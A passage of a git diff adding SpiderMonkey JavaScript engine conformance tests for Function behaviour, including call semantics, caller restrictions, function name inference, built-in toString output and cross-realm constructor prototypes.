+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575535;
+var summary = 'Function.prototype.call';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+assertEq(Function.prototype.call.length, 1);
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.call.apply(nonfuns[i]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.call with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Steps 2-4. */
+function none()
+{
+ assertEq(this, global, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+none.call();
+none.call(undefined);
+none.call(null);
+
+var seenThis;
+function strictNone()
+{
+ "use strict";
+ assertEq(this, seenThis, "bad this");
+ assertEq(arguments.length, 0, "wrong arguments");
+}
+
+seenThis = undefined;
+strictNone.call();
+strictNone.call(undefined);
+
+seenThis = null;
+strictNone.call(null);
+
+seenThis = 17;
+strictNone.call(17);
+
+var seenThisBox, args;
+function some()
+{
+ assertEq(this instanceof seenThisBox, true,
+ "this not instanceof " + seenThisBox);
+ assertEq(this.valueOf(), seenThis,
+ "wrong this valueOf()");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = false;
+seenThisBox = Boolean;
+args = [8, 6, 7, NaN, undefined, 0.3];
+some.call(false, 8, 6, 7, NaN, undefined, 0.3);
+
+var obj = {};
+
+seenThis = "foo";
+seenThisBox = String;
+args = [obj];
+some.call("foo", obj);
+
+seenThis = obj;
+seenThisBox = Object;
+some.call(obj, obj);
+
+function strictSome()
+{
+ "use strict";
+ assertEq(this, seenThis, "wrong this");
+ assertEq(arguments.length, args.length, "wrong arguments count");
+ for (var i = 0; i < args.length; i++)
+ assertEq(arguments[i], args[i], "wrong argument " + i);
+}
+
+seenThis = NaN;
+args = [8, 6, 7, NaN, undefined, 0.3];
+strictSome.call(NaN, 8, 6, 7, NaN, undefined, 0.3);
+
+seenThis = "foo";
+args = [obj];
+strictSome.call("foo", obj);
+
+seenThis = obj;
+strictSome.call(obj, obj);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-caller-restrictions.js b/js/src/tests/non262/Function/function-caller-restrictions.js
new file mode 100644
index 0000000000..36c31279ba
--- /dev/null
+++ b/js/src/tests/non262/Function/function-caller-restrictions.js
@@ -0,0 +1,29 @@
+// Function#caller restrictions as proposed by
+// https://github.com/claudepache/es-legacy-function-reflection/
+
+function caller() {
+ return caller.caller;
+}
+
+assertEq(caller(), null);
+assertEq(Reflect.apply(caller, undefined, []), null);
+
+assertEq([0].map(caller)[0], null);
+
+(function strict() {
+ "use strict";
+ assertEq(caller(), null);
+})();
+
+(async function() {
+ assertEq(caller(), null);
+})();
+
+assertEq(function*() {
+ yield caller();
+}().next().value, null);
+
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/Function/function-caller.js b/js/src/tests/non262/Function/function-caller.js
new file mode 100644
index 0000000000..2b0812d4f1
--- /dev/null
+++ b/js/src/tests/non262/Function/function-caller.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-caller.js';
+var BUGNUMBER = 514581;
+var summary = "Function.prototype.caller should throw a TypeError for " +
+ "strict-mode functions";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; }
+expectTypeError(function barCaller() { bar.caller; });
+
+function baz() { "use strict"; return 17; }
+expectTypeError(function bazCaller() { baz.caller; });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js b/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js
new file mode 100644
index 0000000000..4e88a00966
--- /dev/null
+++ b/js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js
@@ -0,0 +1,23 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 920479;
+var summary =
+ "Convert all arguments passed to Function() to string before doing any " +
+ "parsing of the to-be-created Function's parameters or body text";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsValue(() => Function("@", { toString() { throw 42; } }), 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/function-name-assignment.js b/js/src/tests/non262/Function/function-name-assignment.js
new file mode 100644
index 0000000000..5e4d1c004f
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-assignment.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on assignment";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+var globalVar;
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testAssignmentExpression(expr, named) {
+ eval(`
+ var assignment;
+ assignment = ${expr};
+ assertEq(assignment.name, named ? "named" : "assignment");
+
+ globalVar = ${expr};
+ assertEq(globalVar.name, named ? "named" : "globalVar");
+
+ var obj = { dynamic: null };
+ with (obj) {
+ dynamic = ${expr};
+ }
+ assertEq(obj.dynamic.name, named ? "named" : "dynamic");
+
+ (function namedLambda(param1, param2) {
+ var assignedToNamedLambda;
+ assignedToNamedLambda = namedLambda = ${expr};
+ assertEq(namedLambda.name, "namedLambda");
+ assertEq(assignedToNamedLambda.name, named ? "named" : "namedLambda");
+
+ param1 = ${expr};
+ assertEq(param1.name, named ? "named" : "param1");
+
+ {
+ let param1 = ${expr};
+ assertEq(param1.name, named ? "named" : "param1");
+
+ param2 = ${expr};
+ assertEq(param2.name, named ? "named" : "param2");
+ }
+ })();
+
+ {
+ let nextedLexical1, nextedLexical2;
+ {
+ let nextedLexical1 = ${expr};
+ assertEq(nextedLexical1.name, named ? "named" : "nextedLexical1");
+
+ nextedLexical2 = ${expr};
+ assertEq(nextedLexical2.name, named ? "named" : "nextedLexical2");
+ }
+ }
+ `);
+
+ // Not applicable cases: not IsIdentifierRef.
+ eval(`
+ var inParen;
+ (inParen) = ${expr};
+ assertEq(inParen.name, named ? "named" : "");
+ `);
+
+ // Not applicable cases: not direct RHS.
+ if (!expr.includes("=>")) {
+ eval(`
+ var a = true && ${expr};
+ assertEq(a.name, named ? "named" : "");
+ `);
+ } else {
+ // Arrow function cannot be RHS of &&.
+ eval(`
+ var a = true && (${expr});
+ assertEq(a.name, named ? "named" : "");
+ `);
+ }
+
+ // Not applicable cases: property.
+ eval(`
+ var obj = {};
+
+ obj.prop = ${expr};
+ assertEq(obj.prop.name, named ? "named" : "");
+
+ obj["literal"] = ${expr};
+ assertEq(obj["literal"].name, named ? "named" : "");
+ `);
+
+ // Not applicable cases: assigned again.
+ eval(`
+ var tmp = [${expr}];
+ assertEq(tmp[0].name, named ? "named" : "");
+
+ var assignment;
+ assignment = tmp[0];
+ assertEq(assignment.name, named ? "named" : "");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentExpression(expr, named);
+}
+
+function testVariableDeclaration(expr, named) {
+ eval(`
+ var varDecl = ${expr};
+ assertEq(varDecl.name, named ? "named" : "varDecl");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testVariableDeclaration(expr, named);
+}
+
+function testLexicalBinding(expr, named) {
+ eval(`
+ let lexical = ${expr};
+ assertEq(lexical.name, named ? "named" : "lexical");
+
+ const constLexical = ${expr};
+ assertEq(constLexical.name, named ? "named" : "constLexical");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testLexicalBinding(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-binding.js b/js/src/tests/non262/Function/function-name-binding.js
new file mode 100644
index 0000000000..bdd6c131c0
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-binding.js
@@ -0,0 +1,54 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on binding pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testAssignmentProperty(expr, named) {
+ var f = eval(`(function({ prop1 = ${expr} }) { return prop1; })`);
+ assertEq(f({}).name, named ? "named" : "prop1");
+
+ eval(`
+ var { prop1 = ${expr} } = {};
+ assertEq(prop1.name, named ? "named" : "prop1");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentProperty(expr, named);
+}
+
+function testAssignmentElement(expr, named) {
+ var f = eval(`(function([elem1 = ${expr}]) { return elem1; })`);
+ assertEq(f([]).name, named ? "named" : "elem1");
+
+ eval(`
+ var [elem1 = ${expr}] = [];
+ assertEq(elem1.name, named ? "named" : "elem1");
+ `);
+}
+for (var [expr, named] of exprs) {
+ testAssignmentElement(expr, named);
+}
+
+function testSingleNameBinding(expr, named) {
+ var f = eval(`(function(param1 = ${expr}) { return param1; })`);
+ assertEq(f().name, named ? "named" : "param1");
+}
+for (var [expr, named] of exprs) {
+ testSingleNameBinding(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-class.js b/js/src/tests/non262/Function/function-name-class.js
new file mode 100644
index 0000000000..edde690556
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-class.js
@@ -0,0 +1,32 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous class with name method shouldn't be affected by assignment";
+
+print(BUGNUMBER + ": " + summary);
+
+var classWithStaticNameMethod = class { static name() {} };
+assertEq(typeof classWithStaticNameMethod.name, "function");
+
+var classWithStaticNameGetter = class { static get name() { return "static name"; } };
+assertEq(typeof Object.getOwnPropertyDescriptor(classWithStaticNameGetter, "name").get, "function");
+assertEq(classWithStaticNameGetter.name, "static name");
+
+var classWithStaticNameSetter = class { static set name(v) {} };
+assertEq(typeof Object.getOwnPropertyDescriptor(classWithStaticNameSetter, "name").set, "function");
+
+var n = "NAME".toLowerCase();
+var classWithStaticNameMethodComputed = class { static [n]() {} };
+assertEq(typeof classWithStaticNameMethodComputed.name, "function");
+
+// It doesn't apply for non-static method.
+
+var classWithNameMethod = class { name() {} };
+assertEq(classWithNameMethod.name, "classWithNameMethod");
+
+var classWithNameGetter = class { get name() { return "name"; } };
+assertEq(classWithNameGetter.name, "classWithNameGetter");
+
+var classWithNameSetter = class { set name(v) {} };
+assertEq(classWithNameSetter.name, "classWithNameSetter");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-computed-01.js b/js/src/tests/non262/Function/function-name-computed-01.js
new file mode 100644
index 0000000000..ee74dfd6bb
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-computed-01.js
@@ -0,0 +1,57 @@
+var obj = {
+ ["func"]: function() {},
+ ["genFunc"]: function*() {},
+ ["asyncFunc"]: async function() {},
+ ["asyncGenFunc"]: async function*() {},
+ ["arrowFunc"]: ()=>{},
+ ["asyncArrowFunc"]: async ()=>{},
+ ["method"]() {},
+ ["anonClass"]: class {},
+ ["nonAnonymousFunc"]: function F() {},
+ ["nonAnonymousClass"]: class C{},
+ get ["getter"]() {},
+ set ["setter"](x) {},
+};
+
+assertEq(obj.func.name, "func");
+assertEq(obj.genFunc.name, "genFunc");
+assertEq(obj.asyncFunc.name, "asyncFunc");
+assertEq(obj.asyncGenFunc.name, "asyncGenFunc");
+assertEq(obj.arrowFunc.name, "arrowFunc");
+assertEq(obj.asyncArrowFunc.name, "asyncArrowFunc");
+assertEq(obj.method.name, "method");
+assertEq(obj.anonClass.name, "anonClass");
+assertEq(obj.nonAnonymousFunc.name, "F");
+assertEq(obj.nonAnonymousClass.name, "C");
+
+assertEq(Object.getOwnPropertyDescriptor(obj, "getter").get.name, "get getter");
+assertEq(Object.getOwnPropertyDescriptor(obj, "setter").set.name, "set setter");
+
+let dummy = class {
+ ["func"]() {}
+ *["genFunc"] () {}
+ async ["asyncFunc"]() {}
+ async *["asyncGenFunc"]() {}
+ ["arrowFunc"] = ()=>{}
+ ["asyncArrowFunc"] = async ()=>{};
+ ["method"]() {}
+ get ["getter"]() {}
+ set ["setter"](x) {}
+};
+
+dum = new dummy();
+
+assertEq(dum.func.name, "func");
+assertEq(dum.genFunc.name, "genFunc");
+assertEq(dum.asyncFunc.name, "asyncFunc");
+assertEq(dum.asyncGenFunc.name, "asyncGenFunc");
+assertEq(dum.arrowFunc.name, "arrowFunc");
+assertEq(dum.asyncArrowFunc.name, "asyncArrowFunc");
+assertEq(dum.method.name, "method");
+
+assertEq(Object.getOwnPropertyDescriptor(dummy.prototype, "getter").get.name, "get getter");
+assertEq(Object.getOwnPropertyDescriptor(dummy.prototype, "setter").set.name, "set setter");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/Function/function-name-computed-02.js b/js/src/tests/non262/Function/function-name-computed-02.js
new file mode 100644
index 0000000000..54048aee49
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-computed-02.js
@@ -0,0 +1,57 @@
+var obj = {
+ [1]: function() {},
+ [2]: function*() {},
+ [3]: async function() {},
+ [4]: async function*() {},
+ [5]: ()=>{},
+ [6]: async ()=>{},
+ [7] () {},
+ [8]: class {},
+ [9]: function F() {},
+ [10]: class C{},
+ get [11]() {},
+ set [12](x) {},
+};
+
+assertEq(obj[1].name, "1");
+assertEq(obj[2].name, "2");
+assertEq(obj[3].name, "3");
+assertEq(obj[4].name, "4");
+assertEq(obj[5].name, "5");
+assertEq(obj[6].name, "6");
+assertEq(obj[7].name, "7");
+assertEq(obj[8].name, "8");
+assertEq(obj[9].name, "F");
+assertEq(obj[10].name, "C");
+assertEq(Object.getOwnPropertyDescriptor(obj, "11").get.name, "get 11");
+assertEq(Object.getOwnPropertyDescriptor(obj, "12").set.name, "set 12");
+
+let dummy = class {
+ [1]() {}
+ *[2]() {}
+ async [3]() {}
+ async *[4]() {}
+ [5] = ()=>{}
+ [6] = async ()=>{};
+ [7] () {}
+ get [11]() {}
+ set [12](x) {}
+};
+
+dum = new dummy();
+
+assertEq(dum[1].name, "1");
+assertEq(dum[2].name, "2");
+assertEq(dum[3].name, "3");
+assertEq(dum[4].name, "4");
+assertEq(dum[5].name, "5");
+assertEq(dum[6].name, "6");
+assertEq(dum[7].name, "7");
+
+assertEq(Object.getOwnPropertyDescriptor(dummy.prototype, "11").get.name, "get 11");
+assertEq(Object.getOwnPropertyDescriptor(dummy.prototype, "12").set.name, "set 12");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/Function/function-name-for.js b/js/src/tests/non262/Function/function-name-for.js
new file mode 100644
index 0000000000..2f04a5fa8d
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-for.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on for-in initializer";
+
+print(BUGNUMBER + ": " + summary);
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testForInHead(expr, named) {
+ eval(`
+ for (var forInHead = ${expr} in {}) {
+ }
+ `);
+ assertEq(forInHead.name, named ? "named" : "forInHead");
+}
+for (var [expr, named] of exprs) {
+ testForInHead(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-method.js b/js/src/tests/non262/Function/function-name-method.js
new file mode 100644
index 0000000000..3b2eeee793
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-method.js
@@ -0,0 +1,70 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on method definition";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+
+function testMethod(prefix, classPrefix="", prototype=false) {
+ var param = (prefix == "set" || prefix == "static set") ? "v" : "";
+ var sep = classPrefix ? "" : ",";
+ var objOrClass = eval(`(${classPrefix}{
+ ${prefix} prop(${param}) {} ${sep}
+ ${prefix} "literal"(${param}) {} ${sep}
+ ${prefix} ""(${param}) {} ${sep}
+ ${prefix} 5(${param}) {} ${sep}
+ ${prefix} [Symbol.iterator](${param}) {} ${sep}
+ ${prefix} [fooSymbol](${param}) {} ${sep}
+ ${prefix} [emptySymbol](${param}) {} ${sep}
+ ${prefix} [undefSymbol](${param}) {} ${sep}
+ ${prefix} [/a/](${param}) {} ${sep}
+ })`);
+
+ var target = prototype ? objOrClass.prototype : objOrClass;
+
+ function testOne(methodName, expectedName) {
+ var f;
+ if (prefix == "get" || prefix == "static get") {
+ f = Object.getOwnPropertyDescriptor(target, methodName).get;
+ expectedName = "get " + expectedName;
+ } else if (prefix == "set" || prefix == "static set") {
+ f = Object.getOwnPropertyDescriptor(target, methodName).set;
+ expectedName = "set " + expectedName;
+ } else {
+ f = Object.getOwnPropertyDescriptor(target, methodName).value;
+ }
+
+ assertEq(f.name, expectedName);
+ }
+ testOne("prop", "prop");
+ testOne("literal", "literal");
+ testOne("", "");
+ testOne(5, "5");
+ testOne(Symbol.iterator, "[Symbol.iterator]");
+ testOne(fooSymbol, "[foo]");
+ testOne(emptySymbol, "[]");
+ testOne(undefSymbol, "");
+ testOne(/a/, "/a/");
+}
+testMethod("");
+testMethod("*");
+testMethod("async");
+testMethod("get");
+testMethod("set");
+
+testMethod("", "class", true);
+testMethod("*", "class", true);
+testMethod("async", "class", true);
+testMethod("get", "class", true);
+testMethod("set", "class", true);
+
+testMethod("static", "class");
+testMethod("static *", "class");
+testMethod("static async", "class");
+testMethod("static get", "class");
+testMethod("static set", "class");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name-property.js b/js/src/tests/non262/Function/function-name-property.js
new file mode 100644
index 0000000000..7ad174b10f
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name-property.js
@@ -0,0 +1,58 @@
+var BUGNUMBER = 883377;
+var summary = "Anonymous function name should be set based on property name";
+
+print(BUGNUMBER + ": " + summary);
+
+var fooSymbol = Symbol("foo");
+var emptySymbol = Symbol("");
+var undefSymbol = Symbol();
+
+var exprs = [
+ ["function() {}", false],
+ ["function named() {}", true],
+ ["function*() {}", false],
+ ["function* named() {}", true],
+ ["async function() {}", false],
+ ["async function named() {}", true],
+ ["() => {}", false],
+ ["async () => {}", false],
+ ["class {}", false],
+ ["class named {}", true],
+];
+
+function testPropertyDefinition(expr, named) {
+ var obj = eval(`({
+ prop: ${expr},
+ "literal": ${expr},
+ "": ${expr},
+ 5: ${expr},
+ 0.4: ${expr},
+ [Symbol.iterator]: ${expr},
+ [fooSymbol]: ${expr},
+ [emptySymbol]: ${expr},
+ [undefSymbol]: ${expr},
+ [/a/]: ${expr},
+ })`);
+ assertEq(obj.prop.name, named ? "named" : "prop");
+ assertEq(obj["literal"].name, named ? "named" : "literal");
+ assertEq(obj[""].name, named ? "named" : "");
+ assertEq(obj[5].name, named ? "named" : "5");
+ assertEq(obj[0.4].name, named ? "named" : "0.4");
+ assertEq(obj[Symbol.iterator].name, named ? "named" : "[Symbol.iterator]");
+ assertEq(obj[fooSymbol].name, named ? "named" : "[foo]");
+ assertEq(obj[emptySymbol].name, named ? "named" : "[]");
+ assertEq(obj[undefSymbol].name, named ? "named" : "");
+ assertEq(obj[/a/].name, named ? "named" : "/a/");
+
+ // Not applicable cases: __proto__.
+ obj = {
+ __proto__: function() {}
+ };
+ assertEq(obj.__proto__.name, "");
+}
+for (var [expr, named] of exprs) {
+ testPropertyDefinition(expr, named);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-name.js b/js/src/tests/non262/Function/function-name.js
new file mode 100644
index 0000000000..7beca56df5
--- /dev/null
+++ b/js/src/tests/non262/Function/function-name.js
@@ -0,0 +1,64 @@
+function testFunctionName(f) {
+ var name = f.name;
+ f.name = 'g';
+ assertEq(f.name, name);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ f.name = 'g';
+ assertEq(f.name, '');
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+function testFunctionNameStrict(f) {
+ "use strict";
+ var name = f.name;
+ var error;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, name);
+ assertEq(error instanceof TypeError, true);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ error = null;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, '');
+ assertEq(error instanceof TypeError, true);
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").value, 'Object');
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").value, 'f');
+
+// Basic test ensuring that Object.defineProperty works on pristine function.
+function f() {};
+Object.defineProperty(f, 'name', {value: 'g'});
+assertEq(f.name, 'g');
+
+// .name behaves as expected on scripted function.
+testFunctionName(function f(){});
+testFunctionNameStrict(function f(){});
+// .name behaves as expected on builtin function.
+testFunctionName(Function.prototype.apply);
+testFunctionNameStrict(Function.prototype.call);
+// .name behaves as expected on self-hosted builtin function.
+testFunctionName(Array.prototype.forEach);
+testFunctionNameStrict(Array.prototype.some);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-toString-builtin-name.js b/js/src/tests/non262/Function/function-toString-builtin-name.js
new file mode 100644
index 0000000000..709e7e846b
--- /dev/null
+++ b/js/src/tests/non262/Function/function-toString-builtin-name.js
@@ -0,0 +1,53 @@
+// Repeats the test from 'Function/function-toString-builtin.js' and additionally
+// verifies the name matches the expected value.
+//
+// This behaviour is not required by the ECMAScript standard.
+
+// Greatly (!) simplified patterns for the PropertyName production.
+var propertyName = [
+ // PropertyName :: LiteralPropertyName :: IdentifierName
+ "\\w+",
+
+ // PropertyName :: LiteralPropertyName :: StringLiteral
+ "(?:'[^']*')",
+ "(?:\"[^\"]*\")",
+
+ // PropertyName :: LiteralPropertyName :: NumericLiteral
+ "\\d+",
+
+ // PropertyName :: ComputedPropertyName
+ "(?:\\[[^\\]]+\\])",
+].join("|")
+
+var nativeCode = RegExp([
+ "^", "function", ("(" + propertyName + ")?"), "\\(", "\\)", "\\{", "\\[native code\\]", "\\}", "$"
+].join("\\s*"));
+
+function assertFunctionName(fun, expected) {
+ var match = nativeCode.exec(fun.toString());
+ assertEq(match[1], expected);
+}
+
+// Bound functions are considered built-ins.
+assertFunctionName(function(){}.bind(), undefined);
+assertFunctionName(function fn(){}.bind(), undefined);
+
+// Built-ins which are well-known intrinsic objects.
+assertFunctionName(Array, "Array");
+assertFunctionName(Object.prototype.toString, "toString");
+assertFunctionName(decodeURI, "decodeURI");
+
+// Other built-in functions.
+assertFunctionName(Math.asin, "asin");
+assertFunctionName(String.prototype.blink, "blink");
+assertFunctionName(RegExp.prototype[Symbol.split], "[Symbol.split]");
+
+// Built-in getter functions.
+assertFunctionName(Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get, "flags");
+assertFunctionName(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get, "__proto__");
+
+// Built-in setter functions.
+assertFunctionName(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set, "__proto__");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Function/function-toString-builtin.js b/js/src/tests/non262/Function/function-toString-builtin.js
new file mode 100644
index 0000000000..d4efc81c14
--- /dev/null
+++ b/js/src/tests/non262/Function/function-toString-builtin.js
@@ -0,0 +1,42 @@
+
+// Greatly (!) simplified patterns for the PropertyName production.
+var propertyName = [
+ // PropertyName :: LiteralPropertyName :: IdentifierName
+ "\\w+",
+
+ // PropertyName :: LiteralPropertyName :: StringLiteral
+ "(?:'[^']*')",
+ "(?:\"[^\"]*\")",
+
+ // PropertyName :: LiteralPropertyName :: NumericLiteral
+ "\\d+",
+
+ // PropertyName :: ComputedPropertyName
+ "(?:\\[[^\\]]+\\])",
+].join("|")
+
+var nativeCode = RegExp([
+ "^", "function", ("(?:" + propertyName + ")?"), "\\(", "\\)", "\\{", "\\[native code\\]", "\\}", "$"
+].join("\\s*"));
+
+
+// Bound functions are considered built-ins.
+reportMatch(nativeCode, function(){}.bind().toString());
+reportMatch(nativeCode, function fn(){}.bind().toString());
+
+// Built-ins which are well-known intrinsic objects.
+reportMatch(nativeCode, Array.toString());
+reportMatch(nativeCode, Object.prototype.toString.toString());
+reportMatch(nativeCode, decodeURI.toString());
+
+// Other built-in functions.
+reportMatch(nativeCode, Math.asin.toString());
+reportMatch(nativeCode, String.prototype.blink.toString());
+reportMatch(nativeCode, RegExp.prototype[Symbol.split].toString());
+
+// Built-in getter functions.
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get.toString());
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get.toString());
+
+// Built-in setter functions.
+reportMatch(nativeCode, Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set.toString());
diff --git a/js/src/tests/non262/Function/get-function-realm.js b/js/src/tests/non262/Function/get-function-realm.js
new file mode 100644
index 0000000000..4efd94f971
--- /dev/null
+++ b/js/src/tests/non262/Function/get-function-realm.js
@@ -0,0 +1,45 @@
+var g1 = newGlobal();
+var g1Fun = g1.eval("function Fun() {}; Fun");
+
+// Bound function => cross-realm function.
+var bound1 = Function.prototype.bind.call(g1Fun);
+assertEq(Object.getPrototypeOf(new bound1()), g1.Fun.prototype);
+
+// Proxy => cross-realm function.
+var proxy1 = new Proxy(g1Fun, {
+ get: function() {} // Ensure "prototype" is |undefined|.
+});
+assertEq(Object.getPrototypeOf(new proxy1()), g1.Object.prototype);
+
+// Proxy => bound function => cross-realm function.
+var proxy2 = new Proxy(bound1, {
+ get: function() {}
+});
+assertEq(Object.getPrototypeOf(new proxy2()), g1.Object.prototype);
+
+// Revoked proxy => cross-realm function.
+var r1 = Proxy.revocable(g1Fun, {
+ get: function(t, name) {
+ assertEq(name, "prototype");
+ r1.revoke();
+ }
+});
+assertThrowsInstanceOf(() => new r1.proxy(), g1.TypeError);
+
+// Bound function => proxy => bound function => cross-realm function.
+var bound2 = Function.prototype.bind.call(proxy2);
+assertEq(Object.getPrototypeOf(new bound2()), g1.Object.prototype);
+
+// Proxy => cross-realm revoked proxy => cross-realm function.
+var r2 = Proxy.revocable(g1Fun, {
+ get: function(t, name) {
+ assertEq(name, "prototype");
+ r2.revoke();
+ }
+});
+var g2 = newGlobal();
+var proxy3 = new g2.Proxy(r2.proxy, {});
+assertThrowsInstanceOf(() => new proxy3(), g1.TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/has-instance-jitted.js b/js/src/tests/non262/Function/has-instance-jitted.js
new file mode 100644
index 0000000000..a2d33abc7f
--- /dev/null
+++ b/js/src/tests/non262/Function/has-instance-jitted.js
@@ -0,0 +1,96 @@
+const OriginalHasInstance = Function.prototype[Symbol.hasInstance];
+
+// Ensure that folding doesn't impact user defined @@hasInstance methods.
+{
